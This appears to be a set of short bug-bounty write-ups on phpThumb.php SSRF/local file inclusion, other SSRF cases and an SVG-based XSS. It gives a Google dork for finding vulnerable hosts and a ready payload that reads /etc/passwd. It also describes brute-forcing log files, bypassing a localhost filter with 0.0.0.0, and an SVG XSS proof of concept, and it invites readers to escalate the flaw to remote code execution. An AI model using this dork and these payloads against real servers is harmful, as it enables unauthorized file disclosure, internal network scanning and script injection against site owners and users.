PhpThumb.php SSRF/LFI

I initially found this issue on a bounty, however it was marked out of scope on a third party provider. It may be possible to turn this into a RCE. Since I had no reason to escalate since no payment. I’ll leave that up to whoever wants to find out.

Google Dork: inurl:/phpThumb/phpThumb.php?src=

Payload: phpThumb.php?src=file:///etc/passwd

fasterh.png

You will see in the response “Unknown image type identified by “root”. It’s reading the /etc/passwd file! However since it only displays the first four characters in the error we can’t read the whole file.

You can also tell it to load remote files http://domain.com/test.php.

 

 

PhpThumb.php SSRF/LFI

Various Server Side Request Forgery Issues

SSRF 1

This SSRF allowed me to view local files on the host as well as port scan internal hosts.

Reading /etc/passwd using the file protocol.

SSRF1

Brute-forcing for log files using BurpSuite Intruder:

SSRF2

SSRF 2

SSRF that had some filtering of 127.0.0.1 and localhost which was bypassed by using 0.0.0.0

SSRF3

Various Server Side Request Forgery Issues

XSS via Loading Remote SVG

xsssvg.png-large.png

This XSS was via embedly which controls the content-type response to image types. Luckily .svg was allowed.

I used this blog to help create a .svg that contained XSS.

https://grepular.com/Scalable_Vector_Graphics_and_XSS

 

PoC:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   
      alert(document.domain);
   
</svg>
XSS via Loading Remote SVG